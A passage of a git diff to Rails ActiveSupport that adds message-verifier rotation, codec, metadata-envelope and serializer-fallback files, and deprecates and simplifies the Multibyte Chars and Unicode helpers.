+        digest = generate_digest(encoded)
+        encoded << SEPARATOR << digest
+      end
+
+      def extract_encoded(signed)
+        if signed.nil? || !signed.valid_encoding?
+          throw :invalid_message_format, "invalid message string"
+        end
+
+        if separator_index = separator_index_for(signed)
+          encoded = signed[0, separator_index]
+          digest = signed[separator_index + SEPARATOR_LENGTH, digest_length_in_hex]
+        end
+
+        unless digest_matches_data?(digest, encoded)
+          throw :invalid_message_format, "mismatched digest"
+        end
+
+        encoded
       end
 
       def generate_digest(data)
-        require "openssl" unless defined?(OpenSSL)
-        OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@digest).new, @secret, data)
+        OpenSSL::HMAC.hexdigest(@digest, @secret, data)
+      end
+
+      def digest_length_in_hex
+        # In hexadecimal (AKA base16) it takes 4 bits to represent a character,
+        # hence we multiply the digest's length (in bytes) by 8 to get it in
+        # bits and divide by 4 to get its number of characters it hex. Well, 8
+        # divided by 4 is 2.
+        @digest_length_in_hex ||= OpenSSL::Digest.new(@digest).digest_length * 2
+      end
+
+      def separator_at?(signed_message, index)
+        signed_message[index, SEPARATOR_LENGTH] == SEPARATOR
+      end
+
+      def separator_index_for(signed_message)
+        index = signed_message.length - digest_length_in_hex - SEPARATOR_LENGTH
+        index unless index.negative? || !separator_at?(signed_message, index)
+      end
+
+      def digest_matches_data?(digest, data)
+        data.present? && digest.present? && ActiveSupport::SecurityUtils.secure_compare(digest, generate_digest(data))
       end
   end
 end
diff --git a/activesupport/lib/active_support/message_verifiers.rb b/activesupport/lib/active_support/message_verifiers.rb
new file mode 100644
index 0000000000000..398a7972b3ad2
--- /dev/null
+++ b/activesupport/lib/active_support/message_verifiers.rb
@@ -0,0 +1,189 @@
+# frozen_string_literal: true
+
+require "active_support/messages/rotation_coordinator"
+
+module ActiveSupport
+  class MessageVerifiers < Messages::RotationCoordinator
+    ##
+    # :attr_accessor: transitional
+    #
+    # If true, the first two rotation option sets are swapped when building
+    # message verifiers. For example, with the following configuration, message
+    # verifiers will generate messages using <tt>serializer: Marshal, url_safe: true</tt>,
+    # and will able to verify messages that were generated using any of the
+    # three option sets:
+    #
+    #   verifiers = ActiveSupport::MessageVerifiers.new { ... }
+    #   verifiers.rotate(serializer: JSON, url_safe: true)
+    #   verifiers.rotate(serializer: Marshal, url_safe: true)
+    #   verifiers.rotate(serializer: Marshal, url_safe: false)
+    #   verifiers.transitional = true
+    #
+    # This can be useful when performing a rolling deploy of an application,
+    # wherein servers that have not yet been updated must still be able to
+    # verify messages from updated servers. In such a scenario, first perform a
+    # rolling deploy with the new rotation (e.g. <tt>serializer: JSON, url_safe: true</tt>)
+    # as the first rotation and <tt>transitional = true</tt>. Then, after all
+    # servers have been updated, perform a second rolling deploy with
+    # <tt>transitional = false</tt>.
+    #
+    #--
+    # Implemented by ActiveSupport::Messages::RotationCoordinator#transitional
+
+    ##
+    # :singleton-method: new
+    # :call-seq: new(&secret_generator)
+    #
+    # Initializes a new instance. +secret_generator+ must accept a salt, and
+    # return a suitable secret (string). +secret_generator+ may also accept
+    # arbitrary kwargs. If #rotate is called with any options matching those
+    # kwargs, those options will be passed to +secret_generator+ instead of to
+    # the message verifier.
+    #
+    #   verifiers = ActiveSupport::MessageVerifiers.new do |salt, base:|
+    #     MySecretGenerator.new(base).generate(salt)
+    #   end
+    #
+    #   verifiers.rotate(base: "...")
+    #
+    #--
+    # Implemented by ActiveSupport::Messages::RotationCoordinator#initialize
+
+    ##
+    # :method: []
+    # :call-seq: [](salt)
+    #
+    # Returns a MessageVerifier configured with a secret derived from the
+    # given +salt+, and options from #rotate. MessageVerifier instances will
+    # be memoized, so the same +salt+ will return the same instance.
+    #
+    #--
+    # Implemented by ActiveSupport::Messages::RotationCoordinator#[]
+
+    ##
+    # :method: []=
+    # :call-seq: []=(salt, verifier)
+    #
+    # Overrides a MessageVerifier instance associated with a given +salt+.
+    #
+    #--
+    # Implemented by ActiveSupport::Messages::RotationCoordinator#[]=
+
+    ##
+    # :method: rotate
+    # :call-seq:
+    #   rotate(**options)
+    #   rotate(&block)
+    #
+    # Adds +options+ to the list of option sets. Messages will be signed using
+    # the first set in the list. When verifying, however, each set will be
+    # tried, in order, until one succeeds.
+    #
+    # Notably, the +:secret_generator+ option can specify a different secret
+    # generator than the one initially specified. The secret generator must
+    # respond to +call+, accept a salt, and return a suitable secret (string).
+    # The secret generator may also accept arbitrary kwargs.
+    #
+    # If any options match the kwargs of the operative secret generator, those
+    # options will be passed to the secret generator instead of to the message
+    # verifier.
+    #
+    # For fine-grained per-salt rotations, a block form is supported. The block
+    # will receive the salt, and should return an appropriate options Hash. The
+    # block may also return +nil+ to indicate that the rotation does not apply
+    # to the given salt. For example:
+    #
+    #   verifiers = ActiveSupport::MessageVerifiers.new { ... }
+    #
+    #   verifiers.rotate do |salt|
+    #     case salt
+    #     when :foo
+    #       { serializer: JSON, url_safe: true }
+    #     when :bar
+    #       { serializer: Marshal, url_safe: true }
+    #     end
+    #   end
+    #
+    #   verifiers.rotate(serializer: Marshal, url_safe: false)
+    #
+    #   # Uses `serializer: JSON, url_safe: true`.
+    #   # Falls back to `serializer: Marshal, url_safe: false`.
+    #   verifiers[:foo]
+    #
+    #   # Uses `serializer: Marshal, url_safe: true`.
+    #   # Falls back to `serializer: Marshal, url_safe: false`.
+    #   verifiers[:bar]
+    #
+    #   # Uses `serializer: Marshal, url_safe: false`.
+    #   verifiers[:baz]
+    #
+    #--
+    # Implemented by ActiveSupport::Messages::RotationCoordinator#rotate
+
+    ##
+    # :method: prepend
+    # :call-seq:
+    #   prepend(**options)
+    #   prepend(&block)
+    #
+    # Just like #rotate, but prepends the given options or block to the list of
+    # option sets.
+    #
+    # This can be useful when you have an already-configured +MessageVerifiers+
+    # instance, but you want to override the way messages are signed.
+    #
+    #   module ThirdParty
+    #     VERIFIERS = ActiveSupport::MessageVerifiers.new { ... }.
+    #       rotate(serializer: Marshal, url_safe: true).
+    #       rotate(serializer: Marshal, url_safe: false)
+    #   end
+    #
+    #   ThirdParty.VERIFIERS.prepend(serializer: JSON, url_safe: true)
+    #
+    #   # Uses `serializer: JSON, url_safe: true`.
+    #   # Falls back to `serializer: Marshal, url_safe: true` or
+    #   # `serializer: Marshal, url_safe: false`.
+    #   ThirdParty.VERIFIERS[:foo]
+    #
+    #--
+    # Implemented by ActiveSupport::Messages::RotationCoordinator#prepend
+
+    ##
+    # :method: rotate_defaults
+    # :call-seq: rotate_defaults
+    #
+    # Invokes #rotate with the default options.
+    #
+    #--
+    # Implemented by ActiveSupport::Messages::RotationCoordinator#rotate_defaults
+
+    ##
+    # :method: clear_rotations
+    # :call-seq: clear_rotations
+    #
+    # Clears the list of option sets.
+    #
+    #--
+    # Implemented by ActiveSupport::Messages::RotationCoordinator#clear_rotations
+
+    ##
+    # :method: on_rotation
+    # :call-seq: on_rotation(&callback)
+    #
+    # Sets a callback to invoke when a message is verified using an option set
+    # other than the first.
+    #
+    # For example, this callback could log each time it is called, and thus
+    # indicate whether old option sets are still in use or can be removed from
+    # rotation.
+    #
+    #--
+    # Implemented by ActiveSupport::Messages::RotationCoordinator#on_rotation
+
+    ##
+    private
+      def build(salt, secret_generator:, secret_generator_options:, **options)
+        MessageVerifier.new(secret_generator.call(salt, **secret_generator_options), **options)
+      end
+  end
+end
diff --git a/activesupport/lib/active_support/messages/codec.rb b/activesupport/lib/active_support/messages/codec.rb
new file mode 100644
index 0000000000000..5d2c755efaff7
--- /dev/null
+++ b/activesupport/lib/active_support/messages/codec.rb
@@ -0,0 +1,65 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/class/attribute"
+require_relative "metadata"
+require_relative "serializer_with_fallback"
+
+module ActiveSupport
+  module Messages # :nodoc:
+    class Codec # :nodoc:
+      include Metadata
+
+      class_attribute :default_serializer, default: :marshal,
+        instance_accessor: false, instance_predicate: false
+
+      def initialize(**options)
+        @serializer = options[:serializer] || self.class.default_serializer
+        @serializer = SerializerWithFallback[@serializer] if @serializer.is_a?(Symbol)
+        @url_safe = options[:url_safe]
+        @force_legacy_metadata_serializer = options[:force_legacy_metadata_serializer]
+      end
+
+      private
+        attr_reader :serializer
+
+        def encode(data, url_safe: @url_safe)
+          url_safe ? ::Base64.urlsafe_encode64(data, padding: false) : ::Base64.strict_encode64(data)
+        end
+
+        def decode(encoded, url_safe: @url_safe)
+          url_safe ? ::Base64.urlsafe_decode64(encoded) : ::Base64.strict_decode64(encoded)
+        rescue StandardError => error
+          throw :invalid_message_format, error
+        end
+
+        def serialize(data)
+          serializer.dump(data)
+        end
+
+        def deserialize(serialized)
+          serializer.load(serialized)
+        rescue StandardError => error
+          throw :invalid_message_serialization, error
+        end
+
+        def catch_and_ignore(throwable, &block)
+          catch throwable do
+            return block.call
+          end
+          nil
+        end
+
+        def catch_and_raise(throwable, as: nil, &block)
+          error = catch throwable do
+            return block.call
+          end
+          error = as.new(error.to_s) if as
+          raise error
+        end
+
+        def use_message_serializer_for_metadata?
+          !@force_legacy_metadata_serializer && super
+        end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/messages/metadata.rb b/activesupport/lib/active_support/messages/metadata.rb
new file mode 100644
index 0000000000000..33b81aa9fa0d7
--- /dev/null
+++ b/activesupport/lib/active_support/messages/metadata.rb
@@ -0,0 +1,146 @@
+# frozen_string_literal: true
+
+require "time"
+require "active_support/json"
+require_relative "serializer_with_fallback"
+
+module ActiveSupport
+  module Messages # :nodoc:
+    module Metadata # :nodoc:
+      singleton_class.attr_accessor :use_message_serializer_for_metadata
+
+      ENVELOPE_SERIALIZERS = [
+        *SerializerWithFallback::SERIALIZERS.values,
+        ActiveSupport::JSON,
+        ::JSON,
+        Marshal,
+      ]
+
+      TIMESTAMP_SERIALIZERS = [
+        SerializerWithFallback::SERIALIZERS.fetch(:message_pack),
+        SerializerWithFallback::SERIALIZERS.fetch(:message_pack_allow_marshal),
+      ]
+
+      ActiveSupport.on_load(:message_pack) do
+        ENVELOPE_SERIALIZERS << ActiveSupport::MessagePack
+        TIMESTAMP_SERIALIZERS << ActiveSupport::MessagePack
+      end
+
+      private
+        def serialize_with_metadata(data, **metadata)
+          has_metadata = metadata.any? { |k, v| v }
+
+          if has_metadata && !use_message_serializer_for_metadata?
+            data_string = serialize_to_json_safe_string(data)
+            envelope = wrap_in_metadata_legacy_envelope({ "message" => data_string }, **metadata)
+            serialize_to_json(envelope)
+          else
+            data = wrap_in_metadata_envelope({ "data" => data }, **metadata) if has_metadata
+            serialize(data)
+          end
+        end
+
+        def deserialize_with_metadata(message, **expected_metadata)
+          if dual_serialized_metadata_envelope_json?(message)
+            envelope = deserialize_from_json(message)
+            extracted = extract_from_metadata_envelope(envelope, **expected_metadata)
+            deserialize_from_json_safe_string(extracted["message"])
+          else
+            deserialized = deserialize(message)
+            if metadata_envelope?(deserialized)
+              extract_from_metadata_envelope(deserialized, **expected_metadata)["data"]
+            elsif expected_metadata.none? { |k, v| v }
+              deserialized
+            else
+              throw :invalid_message_content, "missing metadata"
+            end
+          end
+        end
+
+        def use_message_serializer_for_metadata?
+          Metadata.use_message_serializer_for_metadata && Metadata::ENVELOPE_SERIALIZERS.include?(serializer)
+        end
+
+        def wrap_in_metadata_envelope(hash, expires_at: nil, expires_in: nil, purpose: nil)
+          expiry = pick_expiry(expires_at, expires_in)
+          hash["exp"] = expiry if expiry
+          hash["pur"] = purpose.to_s if purpose
+          { "_rails" => hash }
+        end
+
+        def wrap_in_metadata_legacy_envelope(hash, expires_at: nil, expires_in: nil, purpose: nil)
+          expiry = pick_expiry(expires_at, expires_in)
+          hash["exp"] = expiry
+          hash["pur"] = purpose
+          { "_rails" => hash }
+        end
+
+        def extract_from_metadata_envelope(envelope, purpose: nil)
+          hash = envelope["_rails"]
+
+          if hash["exp"] && Time.now.utc >= parse_expiry(hash["exp"])
+            throw :invalid_message_content, "expired"
+          end
+
+          if hash["pur"].to_s != purpose.to_s
+            throw :invalid_message_content, "mismatched purpose"
+          end
+
+          hash
+        end
+
+        def metadata_envelope?(object)
+          object.is_a?(Hash) && object.key?("_rails")
+        end
+
+        def dual_serialized_metadata_envelope_json?(string)
+          string.start_with?('{"_rails":{"message":')
+        end
+
+        def pick_expiry(expires_at, expires_in)
+          expiry = if expires_at
+            expires_at.utc
+          elsif expires_in
+            Time.now.utc.advance(seconds: expires_in)
+          end
+
+          unless Metadata::TIMESTAMP_SERIALIZERS.include?(serializer)
+            expiry = expiry&.iso8601(3)
+          end
+
+          expiry
+        end
+
+        def parse_expiry(expires_at)
+          if !expires_at.is_a?(String)
+            expires_at
+          elsif ActiveSupport.use_standard_json_time_format
+            Time.iso8601(expires_at)
+          else
+            Time.parse(expires_at)
+          end
+        end
+
+        def serialize_to_json(data)
+          ActiveSupport::JSON.encode(data)
+        end
+
+        def deserialize_from_json(serialized)
+          ActiveSupport::JSON.decode(serialized)
+        rescue ::JSON::ParserError => error
+          # Throw :invalid_message_format instead of :invalid_message_serialization
+          # because here a parse error is due to a bad message rather than an
+          # incompatible `self.serializer`.
+          throw :invalid_message_format, error
+        end
+
+        def serialize_to_json_safe_string(data)
+          encode(serialize(data), url_safe: false)
+        end
+
+        def deserialize_from_json_safe_string(string)
+          deserialize(decode(string, url_safe: false))
+        end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/messages/rotation_configuration.rb b/activesupport/lib/active_support/messages/rotation_configuration.rb
new file mode 100644
index 0000000000000..eef05fe317ec7
--- /dev/null
+++ b/activesupport/lib/active_support/messages/rotation_configuration.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  module Messages
+    class RotationConfiguration # :nodoc:
+      attr_reader :signed, :encrypted
+
+      def initialize
+        @signed, @encrypted = [], []
+      end
+
+      def rotate(kind, *args, **options)
+        args << options unless options.empty?
+        case kind
+        when :signed
+          @signed << args
+        when :encrypted
+          @encrypted << args
+        end
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/messages/rotation_coordinator.rb b/activesupport/lib/active_support/messages/rotation_coordinator.rb
new file mode 100644
index 0000000000000..92f0dbe30fdbc
--- /dev/null
+++ b/activesupport/lib/active_support/messages/rotation_coordinator.rb
@@ -0,0 +1,102 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/hash/slice"
+
+module ActiveSupport
+  module Messages
+    class RotationCoordinator # :nodoc:
+      attr_accessor :transitional
+
+      def initialize(&secret_generator)
+        raise ArgumentError, "A secret generator block is required" unless secret_generator
+        @secret_generator = secret_generator
+        @rotate_options = []
+        @on_rotation = nil
+        @codecs = {}
+      end
+
+      def [](salt)
+        @codecs[salt] ||= build_with_rotations(salt)
+      end
+
+      def []=(salt, codec)
+        @codecs[salt] = codec
+      end
+
+      def rotate(**options, &block)
+        raise ArgumentError, "Options cannot be specified when using a block" if block && !options.empty?
+        changing_configuration!
+
+        @rotate_options << (block || options)
+
+        self
+      end
+
+      def prepend(**options, &block)
+        raise ArgumentError, "Options cannot be specified when using a block" if block && !options.empty?
+        changing_configuration!
+
+        @rotate_options.unshift(block || options)
+
+        self
+      end
+
+      def rotate_defaults
+        rotate()
+      end
+
+      def clear_rotations
+        changing_configuration!
+        @rotate_options.clear
+        self
+      end
+
+      def on_rotation(&callback)
+        changing_configuration!
+        @on_rotation = callback
+      end
+
+      private
+        def changing_configuration!
+          if @codecs.any?
+            raise <<~MESSAGE
+              Cannot change #{self.class} configuration after it has already been applied.
+
+              The configuration has been applied with the following salts:
+              #{@codecs.keys.map { |salt| "- #{salt.inspect}" }.join("\n")}
+            MESSAGE
+          end
+        end
+
+        def normalize_options(options)
+          options = options.dup
+
+          options[:secret_generator] ||= @secret_generator
+
+          secret_generator_kwargs = options[:secret_generator].parameters.
+            filter_map { |type, name| name if type == :key || type == :keyreq }
+          options[:secret_generator_options] = options.extract!(*secret_generator_kwargs)
+
+          options[:on_rotation] = @on_rotation
+
+          options
+        end
+
+        def build_with_rotations(salt)
+          rotate_options = @rotate_options.map { |options| options.is_a?(Proc) ? options.(salt) : options }
+          transitional = self.transitional && rotate_options.first
+          rotate_options.compact!
+          rotate_options[0..1] = rotate_options[0..1].reverse if transitional
+          rotate_options = rotate_options.map { |options| normalize_options(options) }.uniq
+
+          raise "No options have been configured for #{salt}" if rotate_options.empty?
+
+          rotate_options.map { |options| build(salt.to_s, **options) }.reduce(&:fall_back_to)
+        end
+
+        def build(salt, secret_generator:, secret_generator_options:, **options)
+          raise NotImplementedError
+        end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/messages/rotator.rb b/activesupport/lib/active_support/messages/rotator.rb
new file mode 100644
index 0000000000000..31cfad9371ce6
--- /dev/null
+++ b/activesupport/lib/active_support/messages/rotator.rb
@@ -0,0 +1,69 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  module Messages
+    module Rotator # :nodoc:
+      def initialize(*args, on_rotation: nil, **options)
+        super(*args, **options)
+        @args = args
+        @options = options
+        @rotations = []
+        @on_rotation = on_rotation
+      end
+
+      def rotate(*args, **options)
+        fall_back_to build_rotation(*args, **options)
+      end
+
+      def on_rotation(&on_rotation)
+        @on_rotation = on_rotation
+        self
+      end
+
+      def fall_back_to(fallback)
+        @rotations << fallback
+        self
+      end
+
+      def read_message(message, on_rotation: @on_rotation, **options)
+        if @rotations.empty?
+          super(message, **options)
+        else
+          thrown, error = catch_rotation_error do
+            return super(message, **options)
+          end
+
+          @rotations.each do |rotation|
+            catch_rotation_error do
+              value = rotation.read_message(message, **options)
+              on_rotation&.call
+              return value
+            end
+          end
+
+          throw thrown, error
+        end
+      end
+
+      def initialize_dup(*)
+        super
+        @rotations = @rotations.dup
+      end
+
+      private
+        def build_rotation(*args, **options)
+          self.class.new(*args, *@args.drop(args.length), **@options, **options)
+        end
+
+        def catch_rotation_error(&block)
+          error = catch :invalid_message_format do
+            error = catch :invalid_message_serialization do
+              return [nil, block.call]
+            end
+            return [:invalid_message_serialization, error]
+          end
+          [:invalid_message_format, error]
+        end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/messages/serializer_with_fallback.rb b/activesupport/lib/active_support/messages/serializer_with_fallback.rb
new file mode 100644
index 0000000000000..dd96c6d7d30dd
--- /dev/null
+++ b/activesupport/lib/active_support/messages/serializer_with_fallback.rb
@@ -0,0 +1,158 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/kernel/reporting"
+require "active_support/notifications"
+
+module ActiveSupport
+  module Messages # :nodoc:
+    module SerializerWithFallback # :nodoc:
+      def self.[](format)
+        if format.to_s.include?("message_pack") && !defined?(ActiveSupport::MessagePack)
+          require "active_support/message_pack"
+        end
+
+        SERIALIZERS.fetch(format)
+      end
+
+      def load(dumped)
+        format = detect_format(dumped)
+
+        if format == self.format
+          _load(dumped)
+        elsif format && fallback?(format)
+          payload = { serializer: SERIALIZERS.key(self), fallback: format, serialized: dumped }
+          ActiveSupport::Notifications.instrument("message_serializer_fallback.active_support", payload) do
+            payload[:deserialized] = SERIALIZERS[format]._load(dumped)
+          end
+        else
+          raise "Unsupported serialization format"
+        end
+      end
+
+      private
+        def detect_format(dumped)
+          case
+          when MessagePackWithFallback.dumped?(dumped)
+            :message_pack
+          when MarshalWithFallback.dumped?(dumped)
+            :marshal
+          when JsonWithFallback.dumped?(dumped)
+            :json
+          end
+        end
+
+        def fallback?(format)
+          format != :marshal
+        end
+
+        module AllowMarshal
+          private
+            def fallback?(format)
+              super || format == :marshal
+            end
+        end
+
+        module MarshalWithFallback
+          include SerializerWithFallback
+          extend self
+
+          def format
+            :marshal
+          end
+
+          def dump(object)
+            Marshal.dump(object)
+          end
+
+          def _load(dumped)
+            Marshal.load(dumped)
+          end
+
+          MARSHAL_SIGNATURE = "\x04\x08"
+
+          def dumped?(dumped)
+            dumped.start_with?(MARSHAL_SIGNATURE)
+          end
+        end
+
+        module JsonWithFallback
+          include SerializerWithFallback
+          extend self
+
+          def format
+            :json
+          end
+
+          def dump(object)
+            ActiveSupport::JSON.encode(object)
+          end
+
+          def _load(dumped)
+            ActiveSupport::JSON.decode(dumped)
+          end
+
+          JSON_START_WITH = /\A(?:[{\["]|-?\d|true|false|null)/
+
+          def dumped?(dumped)
+            JSON_START_WITH.match?(dumped)
+          end
+
+          private
+            def detect_format(dumped)
+              # Assume JSON format if format could not be determined.
+              super || :json
+            end
+        end
+
+        module JsonWithFallbackAllowMarshal
+          include JsonWithFallback
+          include AllowMarshal
+          extend self
+        end
+
+        module MessagePackWithFallback
+          include SerializerWithFallback
+          extend self
+
+          def format
+            :message_pack
+          end
+
+          def dump(object)
+            ActiveSupport::MessagePack.dump(object)
+          end
+
+          def _load(dumped)
+            ActiveSupport::MessagePack.load(dumped)
+          end
+
+          def dumped?(dumped)
+            available? && ActiveSupport::MessagePack.signature?(dumped)
+          end
+
+          private
+            def available?
+              return @available if defined?(@available)
+              silence_warnings { require "active_support/message_pack" }
+              @available = true
+            rescue LoadError
+              @available = false
+            end
+        end
+
+        module MessagePackWithFallbackAllowMarshal
+          include MessagePackWithFallback
+          include AllowMarshal
+          extend self
+        end
+
+        SERIALIZERS = {
+          marshal: MarshalWithFallback,
+          json: JsonWithFallback,
+          json_allow_marshal: JsonWithFallbackAllowMarshal,
+          message_pack: MessagePackWithFallback,
+          message_pack_allow_marshal: MessagePackWithFallbackAllowMarshal,
+        }
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/multibyte.rb b/activesupport/lib/active_support/multibyte.rb
index f7c7befee0e7d..a7a281f813352 100644
--- a/activesupport/lib/active_support/multibyte.rb
+++ b/activesupport/lib/active_support/multibyte.rb
@@ -1,4 +1,6 @@
-module ActiveSupport #:nodoc:
+# frozen_string_literal: true
+
+module ActiveSupport # :nodoc:
   module Multibyte
     autoload :Chars, "active_support/multibyte/chars"
     autoload :Unicode, "active_support/multibyte/unicode"
@@ -10,6 +12,10 @@ module Multibyte
     #
     #   ActiveSupport::Multibyte.proxy_class = CharsForUTF32
     def self.proxy_class=(klass)
+      ActiveSupport.deprecator.warn(
+        "ActiveSupport::Multibyte.proxy_class= is deprecated and will be removed in Rails 8.2. " \
+        "Use normal string methods instead."
+      )
       @proxy_class = klass
     end
 
diff --git a/activesupport/lib/active_support/multibyte/chars.rb b/activesupport/lib/active_support/multibyte/chars.rb
index 8c584665562b4..eb57a40aca1e2 100644
--- a/activesupport/lib/active_support/multibyte/chars.rb
+++ b/activesupport/lib/active_support/multibyte/chars.rb
@@ -1,11 +1,14 @@
+# frozen_string_literal: true
+
 require "active_support/json"
 require "active_support/core_ext/string/access"
 require "active_support/core_ext/string/behavior"
 require "active_support/core_ext/module/delegation"
-require "active_support/core_ext/regexp"
 
-module ActiveSupport #:nodoc:
-  module Multibyte #:nodoc:
+module ActiveSupport # :nodoc:
+  module Multibyte # :nodoc:
+    # = Active Support \Multibyte \Chars
+    #
     # Chars enables you to work transparently with UTF-8 encoding in the Ruby
     # String class without having extensive knowledge about the encoding. A
     # Chars object accepts a string upon initialization and proxies String
@@ -16,7 +19,7 @@ module Multibyte #:nodoc:
     # through the +mb_chars+ method. Methods which would normally return a
     # String object now return a Chars object so methods can be chained.
     #
-    #   'The Perfect String  '.mb_chars.downcase.strip.normalize
+    #   'The Perfect String  '.mb_chars.downcase.strip
     #   # => #<ActiveSupport::Multibyte::Chars:0x007fdc434ccc10 @wrapped_string="the perfect string">
     #
     # Chars objects are perfectly interchangeable with String objects as long as
@@ -47,18 +50,28 @@ class Chars
       alias to_s wrapped_string
       alias to_str wrapped_string
 
-      delegate :<=>, :=~, :acts_like_string?, to: :wrapped_string
+      delegate :<=>, :=~, :match?, :acts_like_string?, to: :wrapped_string
 
       # Creates a new Chars instance by wrapping _string_.
-      def initialize(string)
+      def initialize(string, deprecation: true)
+        if deprecation
+          ActiveSupport.deprecator.warn(
+            "ActiveSupport::Multibyte::Chars is deprecated and will be removed in Rails 8.2. " \
+            "Use normal string methods instead."
+          )
+        end
+
         @wrapped_string = string
-        @wrapped_string.force_encoding(Encoding::UTF_8) unless @wrapped_string.frozen?
+        if string.encoding != Encoding::UTF_8
+          @wrapped_string = @wrapped_string.dup
+          @wrapped_string.force_encoding(Encoding::UTF_8)
+        end
       end
 
       # Forward all undefined methods to the wrapped string.
-      def method_missing(method, *args, &block)
-        result = @wrapped_string.__send__(method, *args, &block)
-        if /!$/.match?(method)
+      def method_missing(method, ...)
+        result = @wrapped_string.__send__(method, ...)
+        if method.end_with?("!")
           self if result
         else
           result.kind_of?(String) ? chars(result) : result
@@ -72,12 +85,6 @@ def respond_to_missing?(method, include_private)
         @wrapped_string.respond_to?(method, include_private)
       end
 
-      # Returns +true+ when the proxy class can handle the string. Returns
-      # +false+ otherwise.
-      def self.consumes?(string)
-        string.encoding == Encoding::UTF_8
-      end
-
       # Works just like <tt>String#split</tt>, with the exception that the items
       # in the resulting list are Chars instances instead of String. This makes
       # chaining methods easier.
@@ -107,7 +114,7 @@ def slice!(*args)
       #
       #   'Café'.mb_chars.reverse.to_s # => 'éfaC'
       def reverse
-        chars(Unicode.unpack_graphemes(@wrapped_string).reverse.flatten.pack("U*"))
+        chars(@wrapped_string.grapheme_clusters.reverse.join)
       end
 
       # Limits the byte size of the string to a number of bytes without breaking
@@ -116,35 +123,7 @@ def reverse
       #
       #   '�ん���'.mb_chars.limit(7).to_s # => "�ん"
       def limit(limit)
-        slice(0...translate_offset(limit))
-      end
-
-      # Converts characters in the string to uppercase.
-      #
-      #   'Laurent, où sont les tests ?'.mb_chars.upcase.to_s # => "LAURENT, OÙ SONT LES TESTS ?"
-      def upcase
-        chars Unicode.upcase(@wrapped_string)
-      end
-
-      # Converts characters in the string to lowercase.
-      #
-      #   'VĚDA A V�ZKUM'.mb_chars.downcase.to_s # => "věda a výzkum"
-      def downcase
-        chars Unicode.downcase(@wrapped_string)
-      end
-
-      # Converts characters in the string to the opposite case.
-      #
-      #    'El Cañón'.mb_chars.swapcase.to_s # => "eL cAÑÓN"
-      def swapcase
-        chars Unicode.swapcase(@wrapped_string)
-      end
-
-      # Converts the first character to uppercase and the remainder to lowercase.
-      #
-      #  'über'.mb_chars.capitalize.to_s # => "Über"
-      def capitalize
-        (slice(0) || chars("")).upcase + (slice(1..-1) || chars("")).downcase
+        chars(@wrapped_string.truncate_bytes(limit, omission: nil))
       end
 
       # Capitalizes the first letter of every word, when possible.
@@ -152,33 +131,22 @@ def capitalize
       #   "ÉL QUE SE ENTERÓ".mb_chars.titleize.to_s    # => "Él Que Se Enteró"
       #   "日本語".mb_chars.titleize.to_s               # => "日本語"
       def titleize
-        chars(downcase.to_s.gsub(/\b('?\S)/u) { Unicode.upcase($1) })
+        chars(downcase.to_s.gsub(/\b('?\S)/u) { $1.upcase })
       end
       alias_method :titlecase, :titleize
 
-      # Returns the KC normalization of the string by default. NFKC is
-      # considered the best normalization form for passing strings to databases
-      # and validations.
-      #
-      # * <tt>form</tt> - The form you want to normalize in. Should be one of the following:
-      #   <tt>:c</tt>, <tt>:kc</tt>, <tt>:d</tt>, or <tt>:kd</tt>. Default is
-      #   ActiveSupport::Multibyte::Unicode.default_normalization_form
-      def normalize(form = nil)
-        chars(Unicode.normalize(@wrapped_string, form))
-      end
-
       # Performs canonical decomposition on all the characters.
       #
-      #   'é'.length                         # => 2
-      #   'é'.mb_chars.decompose.to_s.length # => 3
+      #   'é'.length                         # => 1
+      #   'é'.mb_chars.decompose.to_s.length # => 2
       def decompose
         chars(Unicode.decompose(:canonical, @wrapped_string.codepoints.to_a).pack("U*"))
       end
 
       # Performs composition on all the characters.
       #
-      #   'é'.length                       # => 3
-      #   'é'.mb_chars.compose.to_s.length # => 2
+      #   'é'.length                       # => 1
+      #   'é'.mb_chars.compose.to_s.length # => 1
       def compose
         chars(Unicode.compose(@wrapped_string.codepoints.to_a).pack("U*"))
       end
@@ -186,9 +154,9 @@ def compose
       # Returns the number of grapheme clusters in the string.
       #
       #   'क�षि'.mb_chars.length   # => 4
-      #   'क�षि'.mb_chars.grapheme_length # => 3
+      #   'क�षि'.mb_chars.grapheme_length # => 2
       def grapheme_length
-        Unicode.unpack_graphemes(@wrapped_string).length
+        @wrapped_string.grapheme_clusters.length
       end
 
       # Replaces all ISO-8859-1 or CP1252 characters by their UTF-8 equivalent
@@ -200,31 +168,18 @@ def tidy_bytes(force = false)
         chars(Unicode.tidy_bytes(@wrapped_string, force))
       end
 
-      def as_json(options = nil) #:nodoc:
+      def as_json(options = nil) # :nodoc:
         to_s.as_json(options)
       end
 
-      %w(capitalize downcase reverse tidy_bytes upcase).each do |method|
+      %w(reverse tidy_bytes).each do |method|
         define_method("#{method}!") do |*args|
-          @wrapped_string = send(method, *args).to_s
+          @wrapped_string = public_send(method, *args).to_s
           self
         end
       end
 
       private
-
-        def translate_offset(byte_offset)
-          return nil if byte_offset.nil?
-          return 0   if @wrapped_string == ""
-
-          begin
-            @wrapped_string.byteslice(0...byte_offset).unpack("U*").length
-          rescue ArgumentError
-            byte_offset -= 1
-            retry
-          end
-        end
-
         def chars(string)
           self.class.new(string)
         end
diff --git a/activesupport/lib/active_support/multibyte/unicode.rb b/activesupport/lib/active_support/multibyte/unicode.rb
index 0912912aba3ae..c4cb642bc751a 100644
--- a/activesupport/lib/active_support/multibyte/unicode.rb
+++ b/activesupport/lib/active_support/multibyte/unicode.rb
@@ -1,392 +1,42 @@
+# frozen_string_literal: true
+
 module ActiveSupport
   module Multibyte
     module Unicode
       extend self
 
-      # A list of all available normalization forms.
-      # See http://www.unicode.org/reports/tr15/tr15-29.html for more
-      # information about normalization.
-      NORMALIZATION_FORMS = [:c, :kc, :d, :kd]
-
       # The Unicode version that is supported by the implementation
-      UNICODE_VERSION = "9.0.0"
-
-      # The default normalization used for operations that require
-      # normalization. It can be set to any of the normalizations
